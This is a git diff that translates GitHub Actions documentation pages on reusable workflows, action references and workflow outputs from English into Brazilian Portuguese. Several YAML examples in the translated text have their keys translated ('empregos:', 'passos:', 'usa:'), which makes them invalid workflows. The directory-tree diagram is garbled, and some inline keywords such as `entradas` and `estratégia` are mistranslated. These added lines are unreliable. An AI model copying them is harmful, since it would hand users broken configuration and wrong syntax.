-Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`:
+Especificar um branch de destino para a ação significa que ele sempre irá executar a versão atualmente nesse branch. Essa abordagem pode criar problemas se uma atualização do branch incluir mudanças significativas. Este exemplo é direcionado a um branch denominado `@main`:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@main
 ```
 
-For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+Para obter mais informações, consulte "[Usar o gerenciamento de versões para ações](/actions/creating-actions/about-actions#using-release-management-for-actions)".
 
-## Using inputs and outputs with an action
+## Usar entradas e saídas com uma ação
 
-An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing.
+Uma ação geralmente aceita ou exige entradas e gera saídas que você pode usar. Por exemplo, uma ação pode exigir que você especifique um caminho para um arquivo, o nome de uma etiqueta ou outros dados que usará como parte do processamento da ação.
 
-To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository.
+Para ver as entradas e saídas de uma ação, verifique a `action.yml` ou `action.yaml` no diretório-raiz do repositório.
 
-In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results.
+Neste exemplo `action.yml`, a palavra-chave `entradas` define uma entrada obrigatória denominada `file-path` e inclui um valor-padrão que será usado, caso nenhum valor seja especificado. A palavra-chave `saídas` define uma saída denominada `results-file`, que diz onde localizar os resultados.
 
 ```yaml
 name: "Example"
@@ -122,56 +119,57 @@ outputs:
 
 {% ifversion ghae %}
 
-## Using the actions included with {% data variables.product.prodname_ghe_managed %}
+## Usar as ações incluídas com {% data variables.product.prodname_ghe_managed %}
+Por padrão, você pode usar a maior parte das
 
-By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)."
+ações criadas por {% data variables.product.prodname_dotcom %} em {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Usar as ações em {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)".
 {% endif %}
 
-## Referencing an action in the same repository where a workflow file uses the action
+## Referenciando uma ação no mesmo repositório onde um arquivo de fluxo de trabalho usa a ação
 
-If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file.
+Se uma ação for definida no mesmo repositório onde seu arquivo de fluxo de trabalho usa a ação, você pode referenciar a ação com o`{owner}/{repo}@{ref}` ou `./path/to/dir` sintaxe no seu arquivo de fluxo de trabalho.
 
-Example repository file structure:
+Estrutura de arquivos do repositório de exemplo:
 
 ```
-|-- hello-world (repository)
+|-- Hello-world (repositório)
 |   |__ .github
-|       └── workflows
-|           └── my-first-workflow.yml
-|       └── actions
-|           |__ hello-world-action
-|               └── action.yml
+|       fluxos de trabalho └sadessa
+|           └➤➤ my-first-workflow.yml
+|       ações └➤➤
+|           |__ Hello-world-action
+|               └➤➤ ação.yml
 ```
 
-Example workflow file:
+Arquivo de fluxo de trabalho de exemplo:
 
 ```yaml
-jobs:
-  build:
+empregos:
+  construir:
     runs-on: ubuntu-latest
-    steps:
-      # This step checks out a copy of your repository.
-      - uses: actions/checkout@v2
-      # This step references the directory that contains the action.
-      - uses: ./.github/actions/hello-world-action
+    passos:
+      # Esta etapa confere uma cópia do seu repositório.
+      - usa: ações/checkout@v2
+      # Esta etapa faz referência ao diretório que contém a ação.
+      - usa: ./.github/actions/hello-world-action
 ```
 
-The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)"
+O arquivo `action.yml` é usado para fornecer metadados para a ação. Saiba mais sobre o conteúdo deste arquivo em "[Sintaxe de metadados para o GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)"
 
-## Referencing a container on Docker Hub
+## Referenciando um contêiner no Docker Hub
 
-If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow.
+Se uma ação for definida em uma imagem de contêiner Docker publicada no Docker Hub, você deve fazer referência à ação com o `docker://{image}:{tag}` sintaxe em seu arquivo de fluxo de trabalho. Para proteger seu código e dados, recomendamos fortemente que verifique a integridade da imagem do contêiner Docker do Docker Hub antes de usá-la em seu fluxo de trabalho.
 
 ```yaml
-jobs:
+empregos:
   my_first_job:
-    steps:
-      - name: My first step
-        uses: docker://alpine:3.8
+    passos:
+      - nome: Meu primeiro passo
+        usa: docker://alpine:3.8
 ```
 
-For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+Para ver alguns exemplos de ações do Docker, consulte o [Fluxo de trabalho Docker-image.yml](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) e "[Criar uma ação de contêiner do Docker](/articles/creating-a-docker-container-action)."
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)."
+Para continuar aprendendo mais sobre {% data variables.product.prodname_actions %}, consulte "[Recursos essenciais de {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/index.md b/translations/pt-BR/content/actions/learn-github-actions/index.md
index a6a2c06226..d7d52a58f5 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/index.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Learn GitHub Actions
-shortTitle: Learn GitHub Actions
-intro: 'Whether you are new to {% data variables.product.prodname_actions %} or interested in learning all they have to offer, this guide will help you use {% data variables.product.prodname_actions %} to accelerate your application development workflows.'
+title: Aprenda o GitHub Actions
+shortTitle: Aprenda o GitHub Actions
+intro: 'Seja você novo em {% data variables.product.prodname_actions %} ou interessado em aprender tudo o que tem a oferecer, este guia ajudará você a usar {% data variables.product.prodname_actions %} para acelerar seus fluxos de trabalho de desenvolvimento de aplicativos.'
 redirect_from:
   - /articles/about-github-actions
   - /github/automating-your-workflow-with-github-actions/about-github-actions
diff --git a/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md b/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md
index 33a4d0e6a9..85e8a6310b 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Reusing workflows
-shortTitle: Reusing workflows
-intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows.
+title: Reutilizando fluxos de trabalho
+shortTitle: Reutilizando fluxos de trabalho
+intro: Aprenda a evitar a duplicação ao criar um fluxo de trabalho reutilizando os fluxos de trabalho existentes.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
@@ -16,75 +16,75 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow.
+Em vez de copiar e colar de um fluxo de trabalho para outro, você pode tornar os fluxos de trabalho reutilizáveis. Você e qualquer pessoa com acesso ao fluxo de trabalho reutilizável pode chamar o fluxo de trabalho reutilizável a partir de outro fluxo de trabalho.
 
-Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proved to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained.
+A reutilização dosfluxos de trabalho evita duplicação. Isso torna os fluxos de trabalho mais fáceis de manter e permite que você crie novos fluxos de trabalho mais rapidamente, desenvolvendo sobre o trabalho dos outros, assim como você faz com ações. A reutilização do fluxo de trabalho também promove práticas recomendadas, ajudando você a usar os fluxos de trabalho bem projetados, Já foram testados e sua eficiência é comprovada. Sua organização pode criar uma biblioteca de fluxos de trabalho reutilizáveis que pode ser mantida centralmente.
 
-The diagram below shows three build jobs on the left of the diagram. After each of these jobs completes successfully a dependent job called "Deploy" runs. This job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production." The "Production" deployment job only runs after the "Staging" job has completed successfully. Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows.
+O diagrama abaixo mostra três trabalhos de criação à esquerda do diagrama. Depois que cada um desses trabalhos é concluído com sucesso, executa-se uma tarefa dependente denominada "Implantação". Esse trabalho chama um fluxo de trabalho reutilizável que contém três trabalhos: "Treinamento", "Revisão" e "Produção". A tarefa de implantação "Produção" só é executada após a tarefa de "Treinamento" ter sido concluída com sucesso. O uso um fluxo de trabalho reutilizável para executar trabalhos de implantação permite que você execute esses trabalhos para cada compilação sem duplicar o código nos fluxos de trabalho.
 
-![Diagram of a reusable workflow for deployment](/assets/images/help/images/reusable-workflows-ci-cd.png)
+![Diagrama de um fluxo de trabalho reutilizável para implantação](/assets/images/help/images/reusable-workflows-ci-cd.png)
 
-A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow.
+Um fluxo de trabalho que usa outro fluxo de trabalho é referido como um fluxo de trabalho "de chamada". O fluxo de trabalho reutilizável é um fluxo de trabalho "chamado". Um fluxo de trabalho de chamada pode usar vários fluxos de trabalho chamados. Cada fluxo de trabalho chamado é referenciado em uma única linha. O resultado é que o arquivo de fluxo de trabalho de chamadas pode conter apenas algumas linhas de YAML mas pode executar um grande número de tarefas quando for executado. Quando um fluxo de trabalho é reutilizado, todo o fluxo de trabalho chamado é usado, como se fosse parte do fluxo de trabalho de chamada.
 
-If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow.
+Se você reutilizar um fluxo de trabalho de um repositório diferente, todas as ações no fluxo de trabalho chamado são como se fizessem parte do fluxo de trabalho de chamada. Por exemplo, se o fluxo de trabalho chamado usar `ações/checkout`, a ação verifica o conteúdo do repositório que hospeda o fluxo de trabalho de chamada, não o fluxo de trabalho chamado.
 
-When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)."
+Quando um fluxo de trabalho reutilizável é acionado por um fluxo de trabalho de chamadas, o contexto `github` está sempre associado ao fluxo de trabalho de chamada. O fluxo de trabalho chamado tem acesso automaticamente a `github.token` e `secrets.GITHUB_TOKEN`. Para obter mais informações sobre o contexto do github ``, consulte "[Contexto e sintaxe de expressão para o GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
-### Reusable workflows and starter workflow
+### Fluxos de trabalho e fluxo de trabalho inicial reutilizáveis
 
-Starter workflow allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Inside starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a tag or branch name when referencing the reusable workflow then you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
+O fluxo de trabalho inicial permite que todos na sua organização que têm permissão criem fluxos de trabalho para fazê-lo de forma mais rápida e fácil. Quando as pessoas criam um novo fluxo de trabalho, eles podem escolher um fluxo de trabalho inicial e uma parte ou todo o trabalho de escrita do fluxo de trabalho será feito para essas pessoas. Dentro do fluxo de trabalho inicial, você também pode fazer referência a fluxos de trabalho reutilizáveis para facilitar o benefício das pessoas de reutilizar o código do fluxo de trabalho gerenciado centralmente. Se você usar uma tag ou nome de branch ao fazer referência ao fluxo de trabalho reutilizável, você poderá garantir que todos que reutilizarem esse fluxo de trabalho sempre usarão o mesmo código YAML. No entanto, se você fizer referência a um fluxo de trabalho reutilizável por uma tag ou branch, certifique-se de que você poderá confiar nessa versão do fluxo de trabalho. Para obter mais informações, consulte "[Fortalecimento da segurança para {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)".
 
-For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+Para obter mais informações, consulte "[Criando fluxos de trabalho iniciais para a sua organização](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)".
 
-## Access to reusable workflows
+## Acesso a fluxos de trabalho reutilizáveis
 
-A reusable workflow can be used by another workflow if {% ifversion ghes or ghec or ghae %}any{% else %}either{% endif %} of the following is true:
+Um fluxo de trabalho reutilizável pode ser usado por outro fluxo de trabalho se {% ifversion ghes or ghec or ghae %}qualquer{% else %}ou{% endif %} dos pontos a seguir for verdadeiro:
 
-* Both workflows are in the same repository.
-* The called workflow is stored in a public repository.{% ifversion ghes or ghec or ghae %}
-* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)."{% endif %}
+* Ambos os fluxos de trabalho estão no mesmo repositório.
+* O fluxo de trabalho chamado é armazenado em um repositório público.{% ifversion ghes or ghec or ghae %}
+* O fluxo de trabalho chamado é armazenado em um repositório interno e as configurações para esse repositório permitem que ele seja acessado. Para obter mais informações, consulte "[Gerenciar configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)".{% endif %}
 
-## Using runners
+## Usando executores
 
 {% ifversion fpt or ghes or ghec %}
 
-### Using GitHub-hosted runners
+### Usar executores hospedados no GitHub
 
-The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+A atribuição de executores hospedados em {% data variables.product.prodname_dotcom %} é sempre avaliada usando apenas o contexto do chamador. A cobrança para executores hospedados em {% data variables.product.prodname_dotcom %} está sempre associada ao chamador. O fluxo de trabalho de chamadas não pode usar executores hospedados em {% data variables.product.prodname_dotcom %} a partir do repositório chamado. Para obter mais informações, consulte "[Sobre executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners)".
 
-### Using self-hosted runners
+### Usando executores auto-hospedados
 
 {% endif %}
 
-Called workflows can access self-hosted runners from caller's context. This means that a called workflow can access self-hosted runners that are:
-* In the caller repository
-* In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
+Os fluxos de trabalho chamados podem acessar executores auto-hospedados no contexto do chamador. Isso significa que um fluxo de trabalho chamado pode acessar executores auto-hospedados que estão:
+* No repositório de chamada
+* Na organização{% ifversion ghes or ghec or ghae %} ou empresa {% endif %}do repositório de chamadas, desde que o executor tenha sido disponibilizado para o repositório de chamada
 
-## Limitations
+## Limitações
 
-* Reusable workflows can't call other reusable workflows.
-* Reusable workflows stored within a private repository can only be used by workflows within the same repository.
-* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)."
-* The `strategy` property is not supported in any job that calls a reusable workflow.
+* Os fluxos de trabalho reutilizáveis não podem chamar outros fluxos de trabalho reutilizáveis.
+* Os fluxos de trabalho armazenados dentro de um repositório privado só podem ser usados por fluxos de trabalho dentro do mesmo repositório.
+* Qualquer variável de ambiente definida em um contexto `env` definido no nível do fluxo de trabalho no fluxo de trabalho da chamada não é propagada para o fluxo de trabalho chamado. Para obter mais informações sobre o contexto `env`, consulte "[Contexto e sintaxe de expressão para o GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)".
+* A propriedade `estratégia` não é compatível com nenhum trabalho que chame um fluxo de trabalho reutilizável.
 
-## Creating a reusable workflow
+## Criar um fluxo de trabalho reutilizável
 
-Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported.
+Os fluxos de trabalho reutilizáveis são arquivos formatados com YAML, muito semelhantes a qualquer outro arquivo de fluxo de trabalho. Como em outros arquivos de fluxo de trabalho, você localiza os fluxos de trabalho reutilizáveis no diretório `.github/workflows` de um repositório. Os subdiretórios do diretóriio `fluxos de trabalho` não são compatíveis.
 
-For a workflow to be reusable, the values for `on` must include `workflow_call`:
+Para que um fluxo de trabalho seja reutilizável, os valores de `on` devem incluir `workflow_call`:
 
 ```yaml
 on:
   workflow_call:
 ```
 
-### Using inputs and secrets in a reusable workflow
+### Usando entradas e segredos em um fluxo de trabalho reutilizável
 
-You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow.
+Você pode definir entradas e segredos, que podem ser passados do fluxo de trabalho de de chamada e, em seguida, usados no fluxo de trabalho chamado. Há três etapas para usar uma entrada ou um segredo em um fluxo de trabalho reutilizável.
 
-1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow.
+1. No fluxo de trabalho reutilizável, use as palavras-chave `entradas` e `segredos` para definir entradas ou segredos que serão passados de um fluxo de trabalho chamado.
    {% raw %}
    ```yaml
    on:
@@ -98,8 +98,8 @@ You can define inputs and secrets, which can be passed from the caller workflow
            required: true
    ```
    {% endraw %}
-   For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
-1. Reference the input or secret in the reusable workflow.
+   Para obter detalhes da sintaxe para definir as entradas e segredos, consulte [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) e [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
+1. Faça referência à entrada ou segredo no fluxo de trabalho reutilizável.
 
    {% raw %}
    ```yaml
@@ -114,21 +114,21 @@ You can define inputs and secrets, which can be passed from the caller workflow
              token: ${{ secrets.envPAT }}
    ```
    {% endraw %}
-   In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job.
+   No exemplo acima, `envPAT` é um segredo de ambiente que foi adicionado ao ambiente de `produção`. Por conseguinte, este ambiente é mencionado no trabalho.
 
    {% note %}
 
-   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+   **Observação**: Os segredos do ambiente são strings criptografadas armazenadas em um ambiente que você definiu para um repositório. Os segredos de ambiente só estão disponíveis para trabalhos de fluxo de trabalho que fazem referência ao ambiente apropriado. Para obter mais informações, consulte "[Usando ambientes para implantação](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)".
 
    {% endnote %}
 
-1. Pass the input or secret from the caller workflow.
+1. Passe a entrada ou o segredo do fluxo de trabalho da chamada.
 
 {% indented_data_reference reusables.actions.pass-inputs-to-reusable-workflows spaces=3 %}
 
-### Example reusable workflow
+### Exemplo de fluxo de trabalho reutilizável
 
-This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action.
+Este arquivo de workflow reutilizável chamado `workflow-B.yml` (faremos referência a ele mais adiante no [exemplo do fluxo de trabalho de chamada](#example-caller-workflow)) tem uma entrada e um segredo do fluxo de trabalho de chamadas e os usa em uma ação.
 
 {% raw %}
 ```yaml{:copy}
@@ -156,27 +156,27 @@ jobs:
 ```
 {% endraw %}
 
-## Calling a reusable workflow
+## Chamando um fluxo de trabalho reutilizável
 
-You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps.
+Você chama um fluxo de trabalho reutilizável usando a chave `usa`. Ao contrário de quando você usa ações em um fluxo de trabalho, você chama os fluxos de trabalho reutilizáveis diretamente em um trabalho, e não de dentro de etapas de trabalho.
 
 [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
 
-You reference reusable workflow files using the syntax:
+Você faz referência a arquivos reutilizáveis do fluxo de trabalho usando a sintaxe:
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
-You can call multiple workflows, referencing each in a separate job.
+Você pode chamar vários fluxos de trabalho, fazendo referência a cada um em um trabalho separado.
 
 {% data reusables.actions.uses-keyword-example %}
 
-### Passing inputs and secrets to a reusable workflow
+### Passando entradas e segredos para um fluxo de trabalho reutilizável
 
 {% data reusables.actions.pass-inputs-to-reusable-workflows%}
 
-### Supported keywords for jobs that call a reusable workflow
+### Palavras-chave compatíveis com trabalhos que chamam um fluxo de trabalho reutilizável
 
-When you call a reusable workflow, you can only use the following keywords in the job containing the call:
+Ao chamar um fluxo de trabalho reutilizável, você só poderá usar as palavras-chave a seguir no trabalho que contém a chamada:
 
 * [`jobs.<job_id>.name`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idname)
 * [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
@@ -190,16 +190,16 @@ When you call a reusable workflow, you can only use the following keywords in th
 
    {% note %}
 
-   **Note:**
+   **Observação:**
 
-   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
-   * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
+   * Se `jobs.<job_id>.permissions` não for especificado no trabalho de chamadas, o fluxo de trabalho chamado terá as permissões padrão para o `GITHUB_TOKEN`. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".
+   * As permissões de `GITHUB_TOKEN` passadas do fluxo de trabalho de de cahamada só podem ser rebaixadas (não elevadas) pelo fluxo de trabalho chamado.
 
    {% endnote %}
 
-### Example caller workflow
+### Exemplo de fluxo de trabalho de chamada
 
-This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`username`) and a secret (`token`).
+Este arquivo de fluxo de trabalho chama dois arquivos de fluxo de trabalho. O segundo destes, `workflow-B.yml` (mostrado no exemplo [exemplo do fluxo de trabalho reutilizável](#example-reusable-workflow)), fica depois de uma entrada (`nome de usuário`) e um segredo (`token`).
 
 {% raw %}
 ```yaml{:copy}
@@ -223,11 +223,11 @@ jobs:
 ```
 {% endraw %}
 
-## Using outputs from a reusable workflow
+## Usando saídas de um fluxo de trabalho reutilizável
 
-A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow.
+Um fluxo de trabalho reutilizável pode gerar dados que você deseja usar no fluxo de trabalho da chamada. Para usar essas saídas, você deve especificá-las como saídas do fluxo de trabalho reutilizável.
 
-The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`.
+O seguinte fluxo de trabalho reutilizável tem um único trabalho que contém duas etapas. Em cada uma dessas etapas, definimos uma única palavra como a saída: "olá" e "mundo". Na seção `saídas` do trabalho, nós mapeamos esses saídas de etapa para o trabalho chamada: `ouput1` e `ouput2`. Em seguida, na seção `on.workflow_call.outputs`, definimos duas saídas para o próprio fluxo de trabalho, uma chamada `firstword` que mapeamos com `output1`, e uma chamada `secondword` que mapeamos com `output2`.
 
 {% raw %}
 ```yaml{:copy}
@@ -260,7 +260,7 @@ jobs:
 ```
 {% endraw %}
 
-We can now use the outputs in the caller workflow, in the same way you would use the outputs from a job within the same workflow. We reference the outputs using the names defined at the workflow level in the reusable workflow: `firstword` and `secondword`. In this workflow, `job1` calls the reusable workflow and `job2` prints the outputs from the reusable workflow ("hello world") to standard output in the workflow log.
+Agora podemos usar as saídas no fluxo de trabalho da chamada, da mesma forma que você usaria as saídas de um trabalho dentro do mesmo fluxo de trabalho. Fazemos referência às saídas usando os nomes definidos no nível do fluxo de trabalho no fluxo de trabalho reutilizável: `firstword` e `secondword`. Neste fluxo de trabalho, `job1` chama o fluxo de trabalho reutilizável e `job2` imprime as saídas do fluxo de trabalho reutilizável ("hello world") para a saída padrão no registro do fluxo de trabalho.
 
 {% raw %}
 ```yaml{:copy}
@@ -281,24 +281,24 @@ jobs:
 ```
 {% endraw %}
 
-For more information on using job outputs, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)."
+Para obter mais informações sobre o uso de saídas de trabalho, consulte "[Sintaxe do Fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)".
 
-## Monitoring which workflows are being used
+## Monitorando quais fluxos de trabalho estão sendo utilizados
 
-You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are:
-* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow.
-* `@timestamp` - the date and time that the job was started, in Unix epoch format.
-* `job_name` - the name of the job that was run.
-* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow.
+Você pode usar a API REST de {% data variables.product.prodname_dotcom %} para monitorar como os fluxos de trabalho reutilizáveis são usados. A ação do log de auditoria `prepared_workflow_job` é acionada quando um trabalho de fluxo de trabalho é iniciado. Incluído nos dados registrados:
+* `repo` - a organização/repositório onde o trabalho do fluxo de trabalho está localizado. Para um trabalho que chama outro fluxo de trabalho, este é a organização/repositório do fluxo de trabalho chamador.
+* `@timestamp` - a data e a hora em que o trabalho foi iniciado, no formato epoch do Unix.
+* `job_name` - o nome do trabalho executado.
+* `job_workflow_ref` - o arquivo de fluxo de trabalho usado, no formato `{owner}/{repo}/{path}/{filename}@{ref}`. Para um trabalho que chama outro fluxo de trabalho, isso identifica o fluxo de trabalho chamado.
 
-For information about using the REST API to query the audit log for an organization, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+Para obter informações sobre o uso da API REST para consultar o log de auditoria para uma organização, consulte "[Organizações](/rest/reference/orgs#get-the-audit-log-for-an-organization)".
 
 {% note %}
 
-**Note**: Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data.
+**Observação**: Os dados de auditoria para `prepared_workflow_job` só podem ser vistos usando a API REST. Eles não são visíveis na interface web de {% data variables.product.prodname_dotcom %} ou incluídos nos dados de auditoria exportados pelo JSON/CSV.
 
 {% endnote %}
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
+Para continuar aprendendo sobre {% data variables.product.prodname_actions %}, consulte "[Eventos que desencadeiam fluxos de trabalho](/actions/learn-github-actions/events-that-trigger-workflows)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/pt-BR/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
index 7ce98f5613..367332c075 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: 'Sharing workflows, secrets, and runners with your organization'
-shortTitle: Sharing workflows with your organization
-intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflow, secrets, and self-hosted runners.'
+title: 'Compartilhando fluxos de trabalho, segredos e executores com a sua organização'
+shortTitle: Compartilhar fluxos de trabalho com a sua organização
+intro: 'Aprenda como usar recursos da organização para colaborar com a sua equipe, compartilhando fluxos de trabalho iniciantes, segredos e executores auto-hospedados.'
 redirect_from:
